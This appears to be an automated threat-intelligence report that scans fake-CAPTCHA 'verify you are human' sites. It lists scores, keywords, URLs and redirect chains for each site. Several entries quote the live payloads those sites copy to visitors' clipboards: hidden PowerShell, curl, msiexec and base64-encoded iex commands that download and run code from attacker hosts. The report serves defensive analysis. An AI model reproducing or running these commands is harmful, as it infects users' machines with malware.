Threat Intelligence Report

πŸ“… October 12, 2026 πŸ•’ Generated: 2026-10-12 06:42:59 πŸ” Sites Analyzed: 61
⬇️ Download JSON Report πŸ“ View All Reports on GitHub
🌐
61
Total Sites Analyzed
⚠️
27
Malicious Sites
44.0% detection rate
πŸ’»
15
PowerShell Commands
πŸ“‹
38
Clipboard Hijacks
πŸ“Š
854
Avg Threat Score

Attack Pattern Analysis

13
High Risk Commands
156
Base64 Encoded
0
Obfuscated JS
32
Inline JS Redirects
7
External JS Chains
27
Redirect Follows
PowerShell Commands 15
Clipboard Hijacks 38
Base64 Encoded 156
CAPTCHA Elements 35
High Risk Commands 13
JS Redirects 32

Top Indicators/Keywords

hidden (9) robot (7) verification (5) Robot (4) cmd (3) .exe (3) CAPTCHA Verification (2) Verification ID (2) Ray ID (2) I am not a robot (2) You will observe (2) CAPTCHA (2) CAPTCHA-verificatie-ID (2) Verification (2) verification-id (2)

Malicious Sites Detected

Click on a site to view detailed analysis
https://widexenmexico.com.mx/plugins/Cloudflare/challenge/IsHuman/ID53728/
597 indicators detected
Score: 10915
38
base64
7
suspicious keywords

πŸ” Suspicious Keywords 7

Command line: [2]Removing applicationsRemoving filesRemoving foldersFile: [1], Section: [2], Key: [3], Value: [4]Removing INI file entriesRemoving ODBC componentsRemoving system registry valuesKey: [1], Name: [2]Removing shortcutsFile: [1], Folder: [2]Registering modulesRemoving backup filesRollbackRemoving moved filesRollbackCleanupInitializing ODBC directoriesStarting servicesStopping servicesUnpublishing Qualified ComponentsUnpublishing product informationThe wizard was interrupted before [ProductName] could be completely installed.UnmoveFilesUnpublishing product featuresUnregister class serversCreating IIS Virtual Roots...UnpublishProductAppId: [1]{{, AppType: [2]}}Unregistering COM+ Applications and ComponentsUnregistering extension serversUnregistering fontsUnregistering MIME infoUnregistering program identifiersUnregistering type librariesWriting INI file valuesKey: [1], Name: [2], Value: [3]Writing system registry valuesAdvertising applicationRemoving IIS Virtual Roots...caCreateVRoots{&TahomaBold10}Welcome to the InstallShield Wizard for [ProductName]caRemoveVRoots1ISCHECKFORPRODUCTUPDATESAllUsersApplicationUsersNoAgreeToLicenseChange_IsMaintenanceCloseRestartRestartManagerOptionTypicalSetupType_IsSetupTypeMinDisplay_IsBitmapDlg{3B59CBE2-36D2-452F-B123-685CEEEB7456}[1]ALLUSERSARPPRODUCTICON.exeARPPRODUCTICON30DWUSINTERVALCE8B87EF8EFC67DF99ACF778AEBB978FDEEB808FFEAB07BFCEBC872FEE9BD088CECCA08FC9ACDWUSLINKTahoma8DefaultUIFontInstallShield for Windows InstallerDialogCaptionMinimalDisplayNameCustomThe InstallShield(R) Wizard will create a server image of [ProductName] at a specified network location. To continue, click Next.DisplayNameMinimalCosting COM+ application: [1]DisplayNameTypicalSetupErrorErrorDialog100INSTALLLEVEL0ISVROOT_PORT_NOInstalling COM+ application: [1]IS_COMPLUS_PROGRESSTEXT_COSTUninstalling COM+ application: [1]IS_COMPLUS_PROGRESSTEXT_INSTALLA newer version of this application is already installed on this computer. If you wish to install this version, please uninstall the newer version first. Click OK to exit the wizard.IS_COMPLUS_PROGRESSTEXT_UNINSTALLReplacing %s with %s in %s...IS_PREVENT_DOWNGRADE_EXITCosting XML files...IS_PROGMSG_TEXTFILECHANGS_REPLACECreating XML file %s...IS_PROGMSG_XML_COSTINGPerforming XML file changes...IS_PROGMSG_XML_CREATE_FILERemoving XML file %s...IS_PROGMSG_XML_FILESRolling back XML file changes...IS_PROGMSG_XML_REMOVE_FILEUpdating XML file %s...IS_PROGMSG_XML_ROLLBACK_FILESYour Company NameIS_PROGMSG_XML_UPDATE_FILEIS_SQLSERVER_AUTHENTICATIONsaIS_SQLSERVER_USERNAMEARInstallChoiceCreating application pool %sManufacturer12345<###-%%%%%%%>@@@@@PIDTemplateCreating application Pools...PROGMSG_IIS_CREATEAPPPOOLCreating IIS virtual directory %sPROGMSG_IIS_CREATEAPPPOOLSCreating IIS virtual directories...PROGMSG_IIS_CREATEVROOTCreating web service extensionPROGMSG_IIS_CREATEVROOTSCreating web service extensions...PROGMSG_IIS_CREATEWEBSERVICEEXTENSIONCreating IIS website %sPROGMSG_IIS_CREATEWEBSERVICEEXTENSIONSCreating IIS websites...PROGMSG_IIS_CREATEWEBSITEExtracting information for IIS virtual directories...PROGMSG_IIS_CREATEWEBSITESExtracted information for IIS virtual directories...PROGMSG_IIS_EXTRACTRemoving application po !"$0/& 2  &,!  2 & 
cmd
cmD
invoke
.exe
bitmap
VirtualAlloc

🌐 Extracted URLs 30

http://logo.verisign.com/vslogo.gif0
http://sv.symcb.com/sv.crl0aU
https://d.symcb.com/cps0%+0
https://d.symcb.com/rpa0U
http://sv.symcd.com0&+0http://sv.symcb.com/sv.crt0
http://192.155.93.247:3101/
1025 indicators detected
Score: 8528
6
base64
3
suspicious keywords

πŸ” Suspicious Keywords 3

robot
Robot
hidden

🌐 Extracted URLs 190

https://gmpg.org/xfn/11
https://yoast.com/wordpress/plugins/seo/
https://www.ccera-icar.org/
https://www.ccera-icar.org/
https://www.ccera-icar.org/wp-content/uploads/2022/08/Frame-3.png
https://104.199.248.167/
745 indicators detected
Score: 6116
1
base64
4
suspicious keywords
1
high risk

πŸ” Suspicious Keywords 4

robot
Robot
hidden
XMLHTTP

🌐 Extracted URLs 92

https://ogp.me/ns#
https://104.199.248.167/
https://104.199.248.167/
https://104.199.248.167/wp-content/uploads/2020/08/mlogo.png
https://104.199.248.167/wp-content/uploads/2020/08/mlogo.png
https://44.208.147.17/
761 indicators detected
Score: 5402 Redirect Chain
4
base64
1
redirects
3
redirect chains
3
redirect follows
3
suspicious keywords

πŸ” Suspicious Keywords 3

robot
Robot
hidden

🌐 Extracted URLs 110

https://gmpg.org/xfn/11
https://44.208.147.17/feed/
https://44.208.147.17/comments/feed/
https://44.208.147.17/wp-content/plugins/wpvr/src/view.css?ver=6.0.17
https://44.208.147.17/wp-includes/css/dist/block-library/style.min.css?ver=6.0.17

πŸ” External JavaScript Redirect Chains

Showing first 2 of 3 chains (truncated for performance)

Script: https://44.208.147.17/wp-content/plugins/wpvr/public/js/video.js?ver=1
Type: script_src
Destination (first appearance): https://vjs.zencdn.net/vttjs/0.14.1/vtt.min.js
eys(Fi).length?this.trigger("vttjsloaded"):((e=document.createElement("script")).src=this.options_["vtt.js"]||"https://vjs.zencdn.net/vttjs/0.14.1/vtt.min.js",e.onload=function(){t.trigger("vttjsloaded")},e.onerror=function(){t.trigger("vtt…
Script: https://44.208.147.17/wp-content/plugins/wpvr/public/lib/videojs-vr/videojs-vr.js?ver=1
Type: base64_payload
Destination (first appearance): https://www.w3.org/2000/svg
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="198px" height="240px" viewBox="0 0 198 240" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:sketch="http://www.bohemiancodi…

πŸ›°οΈ Redirect Follower Findings (3)

Source: external_js
Method: script_src
eys(Fi).length?this.trigger("vttjsloaded"):((e=document.createElement("script")).src=this.options_["vtt.js"]||"https://vjs.zencdn.net/vttjs/0.14.1/vtt.min.js",e.onload=function(){t.trigger("vttjsloaded")},e.onerror=function(){t.trigger("vtt…
Status: ok
/* videojs-vtt.js - v0.14.1 (https://github.com/gkatsev/vtt.js) built on 10-04-2018 */
!function(a){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=a();else if("function"==typeof define&&define.amd)define([],a);else{var b;b="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this,b.vttjs=a()}}(function(){return function a(b,c,d){function e(g,h){if(!c[g]){if(!b[g]){var i="function"==typeof require&&require;if(!h&&i)return i(g,!0... [truncated]
Source: external_js
Method: base64_payload
Chain: http://www.w3.org/2000/svg
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="198px" height="240px" viewBox="0 0 198 240" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:sketch="http://www.bohemiancodi…
Status: ok
<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewport" content="width=device-width,initial-scale=1"><meta http-equiv="content-security-policy" content="default-src &#39;none&#39;; script-src &#39;nonce-0kHkvoudhs0JI5TBSILIvq&#39; &#39;unsafe-eval&#39; https://challenges.cloudflare.com; script-s... [truncated]
Source: external_js
Method: base64_payload
Chain: http://www.videolan.org/x264.html
 ftypmp42isomiso2avc1mp41freemdatEH, #x264 - core 142 r2479 dd79a61 - H.264/MPEG-4 AVC codec - Copyleft 2003-2014 - http://www.videolan.org/x264.html - options: cabac=1 ref=1 deblock=1:0:0 analyse=0x1:0x111 me=hex subme=2…
Status: ok
    <!DOCTYPE html>
    <html lang="en" >
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
                    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
            <meta name="viewport" content="width=device-width, initial-scale=1" />
        
        <meta name="Author" content="VideoLAN" />
        <meta name="Keywords" content=
        "VideoLAN, VLC, VLC player, VLC media player, download, media player, player download, codec, encoder, m... [truncated]
https://twitch.tj/
314 indicators detected
Score: 3913
21
base64
1
redirects
13
suspicious keywords

πŸ” Suspicious Keywords 13

captcha-ui
captchaCanvas
captchaInput
CAPTCHA
captcha-msg
robot
verifications
verification
iEx
Bypass

🌐 Extracted URLs 79

https://webadormyappiiclohelverydssxc.com/feed/
https://webadormyappiiclohelverydssxc.com/comments/feed/
https://webadormyappiiclohelverydssxc.com/wp-includes/blocks/site-title/style.min.css
https://webadormyappiiclohelverydssxc.com/wp-includes/blocks/page-list/style.min.css
https://webadormyappiiclohelverydssxc.com/wp-includes/blocks/navigation/style.min.css
https://202.74.75.181/
1057 indicators detected
Score: 3067
4
base64
1
redirects
4
suspicious keywords

πŸ” Suspicious Keywords 4

verification
VerificationToken
CMD
hidden

🌐 Extracted URLs 835

https://obe.umkla.ac.id/
https://obe.umkla.ac.id/
http://d33egg70nrp50s.cloudfront.net/Fonts/Lato-Regular.woff2
http://d33egg70nrp50s.cloudfront.net/Fonts/Lato-Regular.woff
http://d33egg70nrp50s.cloudfront.net/Fonts/Gilroy-Bold.woff2
http://172.96.189.153/
606 indicators detected
Score: 3056 Fake CAPTCHA Redirect Chain
1
captcha
8
base64
1
redirects
1
redirect follows
14
suspicious keywords

πŸ” Suspicious Keywords 14

captcha-styles
captcha-styles-css
Captcha
CaptchaImages
captcha-overlay
captcha-modal
captcha-container
captcha
captcha-verified
captcha-loader

🌐 Extracted URLs 237

http://gmpg.org/xfn/11
http://172.96.189.153/feed/
http://172.96.189.153/comments/feed/
http://172.96.189.153/wp-json/oembed/1.0/embed?url=http%3A%2F%2F172.96.189.153%2F
http://172.96.189.153/wp-json/oembed/1.0/embed?url=http%3A%2F%2F172.96.189.153%2F&#038;format=xml

πŸ›°οΈ Redirect Follower Findings (1)

Source: inline_js
Method: script_src
;

            var iframe = document.createElement('iframe');
            iframe.src = 'http://172.96.189.153/wp-content/plugins/CF/captcha.html';
            iframe.style.cssText = 'width:100%;height:100%;border:none;';
Status: ok
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8"/>
  <meta name="viewport" content="width=device-width,initial-scale=1"/>
  <title>Checking if you are human</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
  <link rel="icon" id="dynamic-favicon" href="data:,">
  <link rel="preload" as="image" href="https://www.straightsell.com.au/documents/AddOns/cloudflare-logo-main.png">
  <style>
    body { background-color... [truncated]
https://98.70.13.131/
797 indicators detected
Score: 2408 Redirect Chain
35
base64
5
redirects
2
redirect chains
6
redirect follows
3
suspicious keywords

πŸ” Suspicious Keywords 3

command over Creativity, Excellence in spoken word, and outward articulation of inner knowledge.</p>
captcha
hidden

🌐 Extracted URLs 351

https://matangipetals.com/uploads/1d83d9d323d619d65e7156dccc8417086157d487.png
https://98.70.13.131/assets/assets/css/bootstrap.min.css
https://98.70.13.131/assets/assets/css/all.min.css
https://98.70.13.131/assets/assets/css/font.css
https://98.70.13.131/assets/assets/css/swiper.min.css

πŸ” External JavaScript Redirect Chains

Showing first 2 of 2 chains (truncated for performance)

Script: https://www.googletagmanager.com/gtag/js?id=G-VT1PVQ1ZY1
Type: base64_payload
Destination (first appearance): https://www.googletagmanager.com:443/
;1k͎~J})
@`}Τ•uO5w\QR>{"origin":"https://www.googletagmanager.com:443","feature":"SharedWorkerExtendedLifetime","expiry":1776729600,"isThirdParty":true}
Script: https://www.google.com/recaptcha/api.js?hl=&render=6Lf7uxYsAAAAANagtTWlY2ET8HF8nbfMf4-ePcWm
Type: script_src
Destination (first appearance): https://www.gstatic.com/recaptcha/releases/nY0xPItgwtlvjEjk2TqdwOQz/recaptcha__en.js
tment_1.2'&&l!=='control_1.1'){d.head.prepend(m);}});}else{d.head.prepend(m);}po.src='https://www.gstatic.com/recaptcha/releases/nY0xPItgwtlvjEjk2TqdwOQz/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-Kt1i/5gBObCvMXB/a7Gv…

πŸ›°οΈ Redirect Follower Findings (6)

Source: inline_js
Method: script_src
document.getElementById('popup-image').onerror = function () {
        this.src = 'https://98.70.13.131/assets/image/placeholder.png';
    };

    document.querySelector('[data-close-notification-popup]').addEv
Status: ok
PNG


IHDR6	pHYsiTXtXML:com.adobe.xmp<?xpacket begin="ο»Ώ" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap... [truncated]
Source: inline_js
Method: location_assignment
if(prev_url.indexOf(findder) != -1){
                               window.location.href="https://98.70.13.131/user-order";
                           }else{
                             window.locati
Status: ok
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <title>Server Error</title>

        <!-- Fonts -->
        <link rel="preconnect" href="https://fonts.gstatic.com">
        <link href="https://fonts.googleapis.com/css2?family=Nunito&display=swap" rel="stylesheet">

        <style>
            /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */html{line-height:... [truncated]
Source: inline_js
Method: location_assignment
1/user-order";
                           }else{
                             window.location.href="https://98.70.13.131/home";
                           }
Status: ok
<!doctype html>
<html lang="en">
   <head>
      <meta charset="utf-8" />
      <meta name="viewport" content="width=device-width, initial-scale=1.0" />
      <title>Buy Herbal Oil, Powders, Art Frames , Books Online with Matangi Petals</title>
      <meta name="description" content="Shop herbal oils, powders, spiritual books &amp; art frames at Matangi Metals. Order authentic wellness &amp; spiritual products online. Fast delivery!">
      <link rel="icon" type="image/png" href="https://... [truncated]
Source: inline_js
Method: location_assignment
Chain: https://98.70.13.131/login
// }else{
                              //     window.location.href="https://98.70.13.131/login";
                              // }
                            }else{
Status: ok
<!doctype html>
<html lang="en">
   <head>
      <meta charset="utf-8" />
      <meta name="viewport" content="width=device-width, initial-scale=1.0" />
      <title>Buy Herbal Oil, Powders, Art Frames , Books Online with Matangi Petals</title>
      <meta name="description" content="Shop herbal oils, powders, spiritual books &amp; art frames at Matangi Metals. Order authentic wellness &amp; spiritual products online. Fast delivery!">
      <link rel="icon" type="image/png" href="https://... [truncated]
Source: external_js
Method: base64_payload
;1k͎~J})
@`}Τ•uO5w\QR>{"origin":"https://www.googletagmanager.com:443","feature":"SharedWorkerExtendedLifetime","expiry":1776729600,"isThirdParty":true}
Status: ok
<!DOCTYPE html>
<html lang=en>
  <meta charset=utf-8>
  <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">
  <title>Error 404 (Not Found)!!1</title>
  <style>
    *{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 ... [truncated]
+1 more entries (see JSON)
https://173.231.196.249/
79 indicators detected
Score: 636 PowerShell Clipboard Hijack
2
powershell
6
clipboard
3
captcha
2
base64
27
suspicious keywords
2
high risk

πŸ’» PowerShell Commands 2

powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
New-Object

πŸ” Suspicious Keywords 27

cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
command = `cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
CAPTCHA Verification
Verification ID
verification id
Ray ID
ray id
I am not a robot
You will observe
CAPTCHA

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png
https://ghost.nestdns.com/files
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent
https://${host}/favicon.ico`

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance) 

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....
...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
https://103.74.5.124/
75 indicators detected
Score: 624 PowerShell Clipboard Hijack
1
powershell
6
clipboard
3
captcha
2
base64
22
suspicious keywords

πŸ’» PowerShell Commands 1

curl

πŸ” Suspicious Keywords 22

cmd /c "curl -s http://178.17.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';
command = 'cmd /c "curl -s http://178.17.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';
CAPTCHA Verification
Verification ID
Ray ID
I am not a robot
You will observe
CAPTCHA
CAPTCHA-verificatie-ID
Robot

🌐 Extracted URLs 6

https://t.me/blockchainkittie
https://i.postimg.cc/k4zrz92z/111.png
http://178.17.59.40:5506/qk.vbs
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance) 

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....
...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
https://178.210.83.9/
70 indicators detected
Score: 588 Clipboard Hijack Fake CAPTCHA
6
clipboard
3
captcha
3
base64
21
suspicious keywords

πŸ” Suspicious Keywords 21

command = "msiexec /i https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/";
exec /i https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/";
CAPTCHA Verification
Verification ID
verification id
Ray ID
ray id
I am not a robot
You will observe
CAPTCHA

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png
https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent
https://${host}/favicon.ico`

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance) 

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....
...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
https://125.253.125.72/
384 indicators detected
Score: 572 Redirect Chain
1
base64
2
redirects
1
redirect chains
1
redirect follows
2
suspicious keywords

πŸ” Suspicious Keywords 2

verification
hidden

🌐 Extracted URLs 369

http://ogp.me/ns#
https://www.googletagmanager.com/gtag/js?id=UA-86972255-1
http://gmpg.org/xfn/11
https://baovechuyennghiep.baovengayvadem.com/xmlrpc.php
https://baovechuyennghiep.baovengayvadem.com/wp-content/plugins/category-posts/cat-posts.css

πŸ” External JavaScript Redirect Chains

Showing first 1 of 1 chains (truncated for performance)

Script: https://www.googletagmanager.com/gtag/js?id=UA-86972255-1
Type: base64_payload
Destination (first appearance): https://www.googletagmanager.com:443/
;1k͎~J})
@`}Τ•uO5w\QR>{"origin":"https://www.googletagmanager.com:443","feature":"SharedWorkerExtendedLifetime","expiry":1776729600,"isThirdParty":true}

πŸ›°οΈ Redirect Follower Findings (1)

Source: external_js
Method: base64_payload
;1k͎~J})
@`}Τ•uO5w\QR>{"origin":"https://www.googletagmanager.com:443","feature":"SharedWorkerExtendedLifetime","expiry":1776729600,"isThirdParty":true}
Status: ok
<!DOCTYPE html>
<html lang=en>
  <meta charset=utf-8>
  <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">
  <title>Error 404 (Not Found)!!1</title>
  <style>
    *{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 ... [truncated]
http://125.253.125.72/
384 indicators detected
Score: 572 Redirect Chain
1
base64
2
redirects
1
redirect chains
1
redirect follows
2
suspicious keywords

πŸ” Suspicious Keywords 2

verification
hidden

🌐 Extracted URLs 369

http://ogp.me/ns#
https://www.googletagmanager.com/gtag/js?id=UA-86972255-1
http://gmpg.org/xfn/11
http://baovechuyennghiep.baovengayvadem.com/xmlrpc.php
http://baovechuyennghiep.baovengayvadem.com/wp-content/plugins/category-posts/cat-posts.css

πŸ” External JavaScript Redirect Chains

Showing first 1 of 1 chains (truncated for performance)

Script: https://www.googletagmanager.com/gtag/js?id=UA-86972255-1
Type: base64_payload
Destination (first appearance): https://www.googletagmanager.com:443/
;1k͎~J})
@`}Τ•uO5w\QR>{"origin":"https://www.googletagmanager.com:443","feature":"SharedWorkerExtendedLifetime","expiry":1776729600,"isThirdParty":true}

πŸ›°οΈ Redirect Follower Findings (1)

Source: external_js
Method: base64_payload
;1k͎~J})
@`}Τ•uO5w\QR>{"origin":"https://www.googletagmanager.com:443","feature":"SharedWorkerExtendedLifetime","expiry":1776729600,"isThirdParty":true}
Status: ok
<!DOCTYPE html>
<html lang=en>
  <meta charset=utf-8>
  <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">
  <title>Error 404 (Not Found)!!1</title>
  <style>
    *{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 ... [truncated]
https://162.215.130.152/
67 indicators detected
Score: 520 PowerShell Clipboard Hijack
2
powershell
4
clipboard
3
captcha
2
base64
25
suspicious keywords
2
high risk

πŸ’» PowerShell Commands 2

powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
New-Object

πŸ” Suspicious Keywords 25

cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
command = `cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
CAPTCHA Verification
Verification ID
Ray ID
I am not a robot
You will observe
CAPTCHA
CAPTCHA-verificatie-ID
Robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png
https://ghost.nestdns.com/files
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent
https://${host}/favicon.ico`

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 4 entries (truncated for performance) 

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
...} else if (window.clipboardData) { window.clipboardData.setData('Text', command); } }); </script> <!-- === Tr...
https://18.176.47.246/
283 indicators detected
Score: 520
5
base64
3
suspicious keywords

πŸ” Suspicious Keywords 3

captcha-badge
robot
hidden

🌐 Extracted URLs 144

https://18.176.47.246/feed/
https://18.176.47.246/comments/feed/
https://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/css/vkExUnit_style.css?ver=9.113.0.1
https://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/css/vkExUnit_style.css?ver=9.113.0.1
https://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/images/to-top-btn-icon.svg
http://162.215.130.152/
67 indicators detected
Score: 520 PowerShell Clipboard Hijack
2
powershell
4
clipboard
3
captcha
2
base64
25
suspicious keywords
2
high risk

πŸ’» PowerShell Commands 2

powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
New-Object

πŸ” Suspicious Keywords 25

cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
command = `cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
CAPTCHA Verification
Verification ID
Ray ID
I am not a robot
You will observe
CAPTCHA
CAPTCHA-verificatie-ID
Robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png
https://ghost.nestdns.com/files
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent
https://${host}/favicon.ico`

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 4 entries (truncated for performance) 

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
...} else if (window.clipboardData) { window.clipboardData.setData('Text', command); } }); </script> <!-- === Tr...
http://18.176.47.246/
283 indicators detected
Score: 520
5
base64
3
suspicious keywords

πŸ” Suspicious Keywords 3

captcha-badge
robot
hidden

🌐 Extracted URLs 144

http://18.176.47.246/feed/
http://18.176.47.246/comments/feed/
http://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/css/vkExUnit_style.css?ver=9.113.0.1
http://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/css/vkExUnit_style.css?ver=9.113.0.1
http://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/images/to-top-btn-icon.svg
https://www.bratusferramentas.grupomoltz.com.br/
52 indicators detected
Score: 401 PowerShell Clipboard Hijack
3
powershell
5
clipboard
7
captcha
3
base64
1
redirect follows
23
suspicious keywords
3
high risk

πŸ’» PowerShell Commands 3

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;
iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing)
iwr

πŸ” Suspicious Keywords 23

CAPTCHA Verification
Verification ID
I am not a robot
You will observe
captcha-box
captcha-logo
captcha
CAPTCHA-logo
CAPTCHA
CaptchaListeners

🌐 Extracted URLs 2

https://use.fontawesome.com/releases/v5.0.0/css/all.css
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 4 entries (truncated for performance) 

...tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempText...
